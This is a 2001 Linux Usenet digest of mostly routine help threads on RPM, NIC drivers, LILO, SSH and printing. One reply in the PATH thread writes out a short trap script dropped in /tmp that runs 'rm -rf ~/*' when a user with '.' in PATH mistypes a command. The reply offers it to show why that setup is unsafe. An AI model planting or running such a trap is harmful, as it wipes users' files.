Linux-Misc Digest #429, Volume #27               Fri, 23 Mar 01 12:13:04 EST

Contents:
  Re: help with RPM (Massimiliano Caovilla)
  Re: Error Uncompressing Large Files... ("Tauno Voipio")
  Re: how to search filesystem for a file? (James Silverton)
  Re: eth4, eth5?? ("Tauno Voipio")
  Re: RH7/3Com and 3Com Mini PCI Ethernet adapter ("Tauno Voipio")
  Re: what is a "map installer"??? ("Tauno Voipio")
  Re: mem and swap problem ("Shearer is a donkey")
  question about ssh server version 2 (Hung Ngoc Lai)
  Re: *Good* Office software for linux??? (Tom)
  Re: Error Uncompressing Large Files... (Michael Heiming)
  problem printing GCG files under Redhat 7.0 (Kim Moir)
  How to switch user id for shell script? ([EMAIL PROTECTED])
  gnome ^V paste won't work ("Mike Maxwell")
  Re: Weird(?) magic word for sh to invoke perl under Linux (Benjamin Goldberg)
  Server for chat (Luca SIMONETTI)
  Re: *Good* Office software for linux??? (JTS)
  Re: Weird(?) magic word for sh to invoke perl under Linux (Abigail)
  Re: How to switch user id for shell script? (Jeremiah DeWitt Weiner)
  Re: Swiching between Linux and Windows (Jeremiah DeWitt Weiner)
  Re: RH7/3Com and 3Com Mini PCI Ethernet adapter (Spyros Tsiolis)
  Re: Weird(?) magic word for sh to invoke perl under Linux (Jeremiah DeWitt Weiner)
  printing doesn't work (Bart Friederichs)
  Making .bat-file in linux ("abc")
  RPM exe upgrade v3 => v4 (Cyrille)

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From: Massimiliano Caovilla <[EMAIL PROTECTED]>
Subject: Re: help with RPM
Date: Fri, 23 Mar 2001 14:12:23 GMT

Christopher Albert wrote:
> rpm -ihv --prefix="/your_new_install_dir" . This will allow you to
> install the rpm in a variety of places, and then you can use the value
> of that prefix variable in a %post script to set up a symbolic link(if i
> understood you correctly).

 It's almost what I want: but I'd prefer to have a way to ask the user
about where to put the package, rather than let him specify it on the
command line. Is there a way to make the %pre script interactive to ask
the prefix value and check if that directory is OK? I must be sure that
there is enought free space and that is not on / nor on /usr. I'll check
the book. 
                                        Thank you very much!
        Massimiliano

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From: "Tauno Voipio" <[EMAIL PROTECTED]>
Subject: Re: Error Uncompressing Large Files...
Date: Fri, 23 Mar 2001 14:20:13 GMT


"Chris Coyle" <[EMAIL PROTECTED]> wrote in message
news:pPuu6.3434$[EMAIL PROTECTED]...
>
> "Fred Pishotta" <[EMAIL PROTECTED]> wrote in message
news:99dqns$6no$[EMAIL PROTECTED]...
> > Under RH Linux 7.0, both "uncompress filex.Z" and "gunzip filex.Z" are
> > failing when the output file ("filex") exceeds (exactly) 2147483647
bytes.
>
> Is that the rollover value for a signed 32-bit int?
>

Yes. It is. It is also the size limit for a single file in the standard ext2
file system. He seems to be trying to push the fifth elephant onto a VW
beetle...

Tauno Voipio
tauno voipio @ iki fi




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From: James Silverton <[EMAIL PROTECTED]>
Subject: Re: how to search filesystem for a file?
Date: Fri, 23 Mar 2001 09:22:13 -0500

Koos Pol wrote:
> 
> Hartmann Schaffer wrote:
> 
> > In article <[EMAIL PROTECTED]>, [EMAIL PROTECTED] wrote:
> > >Is there a way in Linux to search through all the subdirectories
> > >under the
> > >one your in for a specific file?  For instance if I wanted to
> > >find "file.txt" in DOS I would do:
> >
> > find <starting directory> -name file.txt -print
> 
> Why is everybody forgetting about the 'locate' command?
> 
>

You are absolutely right about the locate command. Admittedly, you have
to set up cron to do an updatedb once in a while but even that does not
take very long and, in a single boot system, can be done at night. I run
a dual boot machine and have to let updatedb be done during normal
operation but, while things slow down a lot while it is running, I can
continue working.

Jim.
-- 
James V.  Silverton
Potomac, Maryland.

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From: "Tauno Voipio" <[EMAIL PROTECTED]>
Crossposted-To: comp.os.linux.networking,alt.os.linux,alt.os.linux.mandrake
Subject: Re: eth4, eth5??
Date: Fri, 23 Mar 2001 14:24:30 GMT


"Mathew Kirsch" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]...
> Rick wrote:
> >
> > Hello all,
> > I managed to configure up to only 4 NICs in my Linux Mandrake 7.2 kernel
> > 2.2.17 server.
> > However I need to go up to 5 (or perhaps 6). However, linuxconf's
Adaptor 5
> > which is supposedly eth4 cannot be initialised. Meaning;
> >
> > /etc/rc.d/init.d/network restart gave:
> > ..........
> > ..........
> > Bringing up interface eth3: OK
> > Bringing up interface eth4: Delaying eth4 initialization. FAILED.
> >
> > How do i get eth4 to work properly??
>
> First off, this is a Linux problem, not a UNIX Programming problem.
Newsgroups
> have been trimmed to Linux-specific ones only.
>
> Now, here are the questions that have been asked:
> 1. Do you have enough system resources, like IRQ's?
>    5 cards is a lot for one system, but if that's all the system has in it
>    there should be no conflicts.
>
> 2. Does the card work if you install it in place of a working card?
>    Normal hardware troubleshooting procedures apply here. Check for
conflicts.
>
> Is there any way you can use virtual IPs to consolidate the addresses into
> fewer cards?

Additionally:
  3. Which NIC driver are you using?
  4. Are all the NIC's of the same type?

There is a limit of 4 units in some NIC drivers.

Tauno Voipio
tauno voipio @ iki fi




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From: "Tauno Voipio" <[EMAIL PROTECTED]>
Crossposted-To: comp.os.linux.hardware,comp.os.linux.advocacy,redhat.networking.general
Subject: Re: RH7/3Com and 3Com Mini PCI Ethernet adapter
Date: Fri, 23 Mar 2001 14:28:57 GMT


"Michael Zingale" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]...
> On Wed, 14 Feb 2001, Peter T. Breuer wrote:
> >In comp.os.linux.hardware [EMAIL PROTECTED] wrote:
> >> On Tue, 13 Feb 2001 18:04:24 -0800, "Guillermo Auad" <[EMAIL PROTECTED]>
> >> wrote:
> >
> >>>I have RHat 7.0 installed on my IBM thinkpad and when I type
> >>>
> >>>% ifconfig eth0 (or eth1)
> >>>
> >>>it does not find the card. The card, a 3Com 10/100 PCI Mini Ethernet
> >>>adapter works properly when I boot Windows 2000 on the same laptop.
> >
> >What card? What are you talking about???? Laptops don't have "cards" in
> >the same way as desktops do. They have pcmcia sockets or cardbus
> >sockets. You need to install pcmcia drivers, and pcmcia tools, and so
> >on. Then you need to teach the system about your card if its not in the
> >database (it will be .. I have plenty of 3com pcmcia cards).
> >
>
> I have a Thinkpad X20 with the Intel Mini PCI card -- this is actually a
card,
> not a PCMCIA card.  The MiniPCI card plugs into the laptop motherboard and
is
> replaceable.  It is a different standard than PCMCIA.
>
> I recall reading on the linux laptop page:
> http://www.linux-laptop.net/ibm.html
>
> about someone using the 3Com MiniPCI card.  Apparently, the driver is in
the
> 2.2.17 kernel, not the 2.2.16 that ships with RH 7.  There are
instructions at:
>
> http://www2.neweb.ne.jp/wd/fbm/3c556/
>

My A21p runs its mini-PCI Ethernet card happily with the 3C59x driver (IRQ
11, base 0x1800).

Tauno Voipio
tauno voipio @ iki fi




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From: "Tauno Voipio" <[EMAIL PROTECTED]>
Subject: Re: what is a "map installer"???
Date: Fri, 23 Mar 2001 14:31:00 GMT


"Otavio Exel" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]...
> [original poster here]
>
> > sometimes the box just freezes after stating that if found a valid
> > boot record in IDE-0 and sometimes I get the "LI" displayed :-(((
>
> I read in a post that:
>
> > LI  The first stage boot loader was able to load the second stage boot
> > loader, but has failed to execute it. This can either be caused by a
> > geometry mismatch or by moving /boot/boot.b without running the map
> > installer.
>
> I certainly moved my /boot/boot.b (I copied it from the old HD to the
> new); I guess I must run a map installer; what is it? how do I run it?
>
> TIA!
>

It is the /sbin/lilo. Before running it, check that the configuration file
/ect/lilo.conf is correctly set up.

Tauno Voipio
tauno voipio @ iki fi




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From: "Shearer is a donkey" <[EMAIL PROTECTED]>
Crossposted-To: 
alt.linux,alt.os.linux,comp.os.linux.setup,linux.misc,linux.redhat,linux.redhat.misc,linux.support.commercial,redhat.config,redhat.general
Subject: Re: mem and swap problem
Date: Fri, 23 Mar 2001 14:32:02 -0000

When booting at the lilo prompt type -: "linux mem=256m"

Sharkster <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]...
> Im running RH 7 on a PII 300 with 256 meg ram. The system is only
> recognizing 64 meg and has already adjusted the swap accordingly.
> I have already edited the lilo.conf with the " append="mem=256M". Ive run
> the LILO and rebooted. The system is still only recognizing 64 meg.
> Did I miss something in there and what was it. How can I adjust my swap to
> match the 256m.
>
> Sharkster
> 61517946
>
>
>



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From: Hung Ngoc Lai <[EMAIL PROTECTED]>
Subject: question about ssh server version 2
Date: 23 Mar 2001 14:33:35 GMT

Hi everyone,

I am currently running RedHat 7 kernel 2.4.2.  I am also running
SSH version 2 on this box.  I understand that SSH version does 
have backward compability with SSH version 1.  I usually login
to this box from my windows machine (98/NT) with TeraTerm Pro.
I understand that Teraterm does NOT support SSH version 2.  Does
it mean that I am logging to my Linux box with SSH1?  I look under
at the /etc/ssh/sshd_config file in the linux box and it says that
it supports both SSH1 and SSH2.  If this is the case, does it mean
that I am vulnerable to all the security vulnerabilities that are
associated with SSH1?  Is it much more secure if I just turn off
SSH1 completely?  Please help me because I would like to learn as
much about SSH as possible.  Thanks.

Hung
[EMAIL PROTECTED]


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From: [EMAIL PROTECTED] (Tom)
Subject: Re: *Good* Office software for linux???
Date: Fri, 23 Mar 2001 14:56:32 +0000 (UTC)

>Dan Smith <[EMAIL PROTECTED]> wrote in message
>news:[EMAIL PROTECTED]...
>>I have tried staroffice, koffice, and wordperfect.  Can someone tell me how
>I am
>>supposed to get something done in Linux???  All I need is a good word
>processor
>>like word, but all the ones I've tried are not that great.  I need
>something that looks
>>decent on the screen (i.e. not choppy fonts) and allows me to do most of
>the
>>normal things I need to do.

Abiword isn't bad. 

http://www.abisource.com/

This one probably looks a little better on the screen and it has the
most common features, but I have to be honest.  I don't think you'll
find anything better overall than staroffice or wordperfect.  Take a
look at these sites, though and check out the links:

http://home.xnet.com/~blatura/linapps.shtml
http://download.tucows.com/perl/Linux.html?Target=index.html

Tom
-- 
Quote of the day for March 23rd, 2001
Our greatest glory consists not in never falling, but in rising every 
time we fall.
                - Oliver Goldsmith

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Date: Fri, 23 Mar 2001 16:18:11 +0100
From: Michael Heiming <[EMAIL PROTECTED]>
Subject: Re: Error Uncompressing Large Files...

Fred Pishotta wrote:
> 
> Thanks for the help, All.  It is a "large file" issue.  The value below is
> 2^31 - 1,  rollover point for a 32 bit signed integer.  Doesn't have
> anything
> to do with "uncompress" or "gunzip".
> 
> So I guess I can custom brew a 2.4 kernel from sources.  Not a big deal,
> but I'm wondering if there's any clean way to patch the 2.2.16 kernel
> in the 7.0 distribition of RH?  Or would I have to rebuild that kernel
> anyway, too?

Of course, you apply the patch against the kernel sources, configure
and recompile it...

Good luck

Michael Heiming

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From: Kim Moir <[EMAIL PROTECTED]>
Subject: problem printing GCG files under Redhat 7.0
Date: Fri, 23 Mar 2001 10:22:02 -0500


Hi

I have a user who is using a genetics package to generate files that are
very close to ASCII in format. (http://www.gcg.com/).  However, the
files that are generated start with
!!AA_SEQUENCE 1.0 instead of a leading newline to identify it as ASCII.

As a result, each time they try to print, they get this error message

No way to print this type of input file:  Bennet Yee's "face" format

Does any one know how to change /usr/share/magic so that this type of
file is recognized as ASCII?

In the interim, the user can add a newline to the file and it will
print.

Kim


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From: [EMAIL PROTECTED]
Subject: How to switch user id for shell script?
Date: Fri, 23 Mar 2001 15:33:23 GMT

        Hello,
        
        I want to execute a shell script under another user id, and I 
        make it rwsr-sr-x, as it has to be. Except that it does never
        go to the user id of its owner - the uid is simply not affected,
        it runs under the user id of the user that executes it.

        I run linux 2.2.13, bash 2.03.0(1)-release, where is the problem,
        how I may shell script suid?

        Thanks, George.
        
        

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From: "Mike Maxwell" <[EMAIL PROTECTED]>
Subject: gnome ^V paste won't work
Date: Fri, 23 Mar 2001 15:36:22 GMT

In the Gnome Terminal app, I want to map the ^V keystroke to 'paste', i.e.
to paste whatever is on the clipboard.  According to the Edit menu in the
Terminal app, that should already be the case, but it is not.  Any ideas why
this would not be true?  I do have a .inputrc file, but it does not contain
a definition for ^V.

How can I restore the definition of ^V as 'paste'?  Or putting it
differently, why doesn't it work as advertised?

(I asked this question in comp.os.linux.redhat, but apparently that's the
wrong group.  The Gnome website suggests this one.)
--
                                         Mike Maxwell
                                         Summer Institute of Linguistics
                                         [EMAIL PROTECTED]






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From: Benjamin Goldberg <[EMAIL PROTECTED]>
Crossposted-To: comp.unix.shell,comp.lang.perl.misc
Subject: Re: Weird(?) magic word for sh to invoke perl under Linux
Date: Fri, 23 Mar 2001 16:06:09 GMT

Abigail wrote:
[snip]
> [] You mean mere users can't modify their PATH in their own shell
> [] profile or rc files? If people are smart enough to write scripts,
> [] wouldn't they be smart enough to change PATH? Assuming neither .
> [] nor ~/bin is in their default path, they're either going to get
> [] very sick of typing ./ or similar before every command or they're
> [] going to change their path.
> 
> People putting . in their PATH will be bitten sooner or later anyway.

What, even if they have it as the very last thing in their path?

I'd like to see someone exploit that.

-- 
The difference between theory and practice is that in theory, theory and
practice are identical, but in practice, they are not.

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From: Luca SIMONETTI <[EMAIL PROTECTED]>
Subject: Server for chat
Date: Fri, 23 Mar 2001 17:15:56 +0100

Hi everybody,
I'm looking for a sw to setup a chat server under Linux Red Hat.
Does anybody know about it?

Thanxs

--
Luca Simonetti


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From: JTS <[EMAIL PROTECTED]>
Subject: Re: *Good* Office software for linux???
Date: Fri, 23 Mar 2001 11:04:17 -0500

What v. of WP have you tried? The new 2000 version (WP9) is quite "MSWord-like", if 
that's what you're after. It's not free like 8, but Corel has basically ported the 
whole Windoze version over to Linux with WINE. That's probably going to be you're most 
mainstream (aka M$-ish) package if all you want is point&click functionality & are 
willing to tolerate
a certain level of bloat (not that there's anything WRONG with that! ;->).

(No flames, please. I haen't tried Applix or StarOffice, so YMMV)


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From: [EMAIL PROTECTED] (Abigail)
Crossposted-To: comp.unix.shell,comp.lang.perl.misc
Subject: Re: Weird(?) magic word for sh to invoke perl under Linux
Date: Fri, 23 Mar 2001 16:19:15 +0000 (UTC)
Reply-To: [EMAIL PROTECTED]

Benjamin Goldberg ([EMAIL PROTECTED]) wrote on MMDCCLXI September
MCMXCIII in <URL:news:[EMAIL PROTECTED]>:
&& Abigail wrote:
&& [snip]
&& > [] You mean mere users can't modify their PATH in their own shell
&& > [] profile or rc files? If people are smart enough to write scripts,
&& > [] wouldn't they be smart enough to change PATH? Assuming neither .
&& > [] nor ~/bin is in their default path, they're either going to get
&& > [] very sick of typing ./ or similar before every command or they're
&& > [] going to change their path.
&& > 
&& > People putting . in their PATH will be bitten sooner or later anyway.
&& 
&& What, even if they have it as the very last thing in their path?
&& 
&& I'd like to see someone exploit that.


If you always use commands that are in /usr/bin, /bin, /usr/local/bin,
etc, sure, no problem. As long as you don't make typos for course. But
then, you don't need "." in your PATH. 

Else, it can be exploited.


Abigail
-- 
sub _ {$_ = shift and y/b-yB-Y/a-yB-Y/                xor      !@ _?
       exit print                                                  :
            print and push @_ => shift and goto &{(caller (0)) [3]}}
            split // => "KsvQtbuf fbsodpmu\ni flsI "  xor       & _

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From: Jeremiah DeWitt Weiner <[EMAIL PROTECTED]>
Subject: Re: How to switch user id for shell script?
Date: 23 Mar 2001 16:20:32 GMT

[EMAIL PROTECTED] wrote:
>       I want to execute a shell script under another user id, and I 
(snip)
>       I run linux 2.2.13, bash 2.03.0(1)-release, where is the problem,
>       how I may shell script suid?

        You can't.  The kernel does not honor the setuid bit on shell
scripts.  (Which makes sense, actually: the shell script is just a bunch of
lines of text that get run by a shell.  OK, so the text file has the setuid
bit on it; so what?  The shell doesn't, and it's what's actually running.)

        I'm starting to think this is a Unix FAQ...anyway, there are a few
ways to deal with it.  The best way is to write a small wrapper (in some
compiled language) that will run the script, and make the wrapper setuid.
It's so simple I'll include it here:

#include <unistd.h>
main() {
        execl ("/path/to/script", "script", 0);
}

        Compile that, chown it to the user you want the script to run as,
and chmod it setuid.  Be warned, though, that anytime the words "setuid"
and "shell" are mentioned near each other, you should be cautious.  Shells
are far too easy to trick into doing something other than what they appear
to be doing.

JDW



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From: Jeremiah DeWitt Weiner <[EMAIL PROTECTED]>
Subject: Re: Swiching between Linux and Windows
Date: 23 Mar 2001 16:28:30 GMT

arasu <[EMAIL PROTECTED]> wrote:

>  I have Linux Redhat and Windows 98 on the same computer in two
> different hardisks.
> I wish to switch over from Linux to Windows98, 

        You can't.  You can run Windows in an emulator or virtual machine,
but you can't completely switch over (without rebooting, of course).

> and Windows to Linux wihout shut down or log out. 

        There is a utility for Windows called loadlin.  It can launch a 
Linux boot sequence from DOS/Windows - look for documentation on it.

JDW


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Date: Fri, 23 Mar 2001 16:42:54 +0000
From: Spyros Tsiolis <[EMAIL PROTECTED]>
Subject: Re: RH7/3Com and 3Com Mini PCI Ethernet adapter

Answer at the end of this message.

MiniPCI is a new protocol on thinkpads that
has nothing to do with normal PCI.

The A2x series have (all of them I think)
3com miniPCI.

It's better than pcmcia for special functions.

s.


Michael Zingale wrote:
> 
> On Wed, 14 Feb 2001, Peter T. Breuer wrote:
> >In comp.os.linux.hardware [EMAIL PROTECTED] wrote:
> >> On Tue, 13 Feb 2001 18:04:24 -0800, "Guillermo Auad" <[EMAIL PROTECTED]>
> >> wrote:
> >
> >>>I have RHat 7.0 installed on my IBM thinkpad and when I type
> >>>
> >>>% ifconfig eth0 (or eth1)
> >>>
> >>>it does not find the card. The card, a 3Com 10/100 PCI Mini Ethernet
> >>>adapter works properly when I boot Windows 2000 on the same laptop.
> >
> >What card? What are you talking about???? Laptops don't have "cards" in
> >the same way as desktops do. They have pcmcia sockets or cardbus
> >sockets. You need to install pcmcia drivers, and pcmcia tools, and so
> >on. Then you need to teach the system about your card if its not in the
> >database (it will be .. I have plenty of 3com pcmcia cards).
> >
> 
> I have a Thinkpad X20 with the Intel Mini PCI card -- this is actually a card,
> not a PCMCIA card.  The MiniPCI card plugs into the laptop motherboard and is
> replaceable.  It is a different standard than PCMCIA.
> 
> I recall reading on the linux laptop page:
> http://www.linux-laptop.net/ibm.html
> 
> about someone using the 3Com MiniPCI card.  Apparently, the driver is in the
> 2.2.17 kernel, not the 2.2.16 that ships with RH 7.  There are instructions at:
> 
> http://www2.neweb.ne.jp/wd/fbm/3c556/
> 
> Mike

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From: Jeremiah DeWitt Weiner <[EMAIL PROTECTED]>
Crossposted-To: comp.unix.shell
Subject: Re: Weird(?) magic word for sh to invoke perl under Linux
Date: 23 Mar 2001 16:44:55 GMT

In comp.os.linux.misc Benjamin Goldberg <[EMAIL PROTECTED]> wrote:
> Abigail wrote:
>> People putting . in their PATH will be bitten sooner or later anyway.

> What, even if they have it as the very last thing in their path?
> I'd like to see someone exploit that.

echo '#!/bin/bash' >> /tmp/l
echo 'rm -rf ~/*' >> /tmp/l
echo 'echo ha ha, sucker' >> /tmp/l
chmod a+rx /tmp/l

        Sit back and wait for someone in /tmp to screw up and type "l s-l foo"
instead of "ls -l foo".  Repeat as desired for "sl", "amil", "lgoout", etc.
This is not new.

JDW



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From: Bart Friederichs <[EMAIL PROTECTED]>
Subject: printing doesn't work
Date: Fri, 23 Mar 2001 16:56:49 GMT

Hi,

I have a weird problem. My printer doesn't work. I have a Oki4w led
printer, and the oki4drv and oki4daemon running. This results in a
/dev/oki4drv that accepts PostScript. All is good there. 
When I 

cat out.ps > /dev/oki4drv

it prints okay, but lpd won't work. My printcap file has the following
line in it:

lp|psjet:lp=/dev/oki4drv:sd=/usr/spool/oki4w:sf:sh:if=/usr/spool/oki4w/filter.

The filter is just an empty file (made in the
trying-to-get-the-thing-working-traject). Anybody any idea?

Bart
[EMAIL PROTECTED]


-- 
=======================================================================
The internet is a too slow way of doing things you'd never do without
it.
                                              Bart Friederichs, 1998
=========================================================================

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From: "abc" <[EMAIL PROTECTED]>
Subject: Making .bat-file in linux
Date: 23 Mar 2001 17:00:16 GMT

Hi!
        I want to make a file to facilitate the startup of the newest version and
newest parameters of some programs we do. That is a file, that in one call
executes commands like:
        /usr/cern/./Eventserv cvc 200 3 4
        cd Whatever
        programme 4 5 6 etc

In windows it would be a batch file - I need to do the same in Linux. Can
anyone tell me how?

        Ivan
Ps. Only respond to newsgroup, as Im not using my own machine here

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From: Cyrille <[EMAIL PROTECTED]>
Crossposted-To: comp.os.linux.setup
Subject: RPM exe upgrade v3 => v4
Date: Tue, 20 Mar 2001 13:17:27 +0100

Hi,

I would like to know how to upgrade the RPM tool
from version 3x to 4x.

If I try rpm -U --test for package I found , rpm says :

[root@ktaland2 src]# rpm -U --test rpm-4.0-4.4.src.rpm
only packages with major numbers <= 3 are supported by this version of
RPM
error: rpm-4.0-4.4.src.rpm cannot be installed

Do you know how to upgrade RPM ???

--




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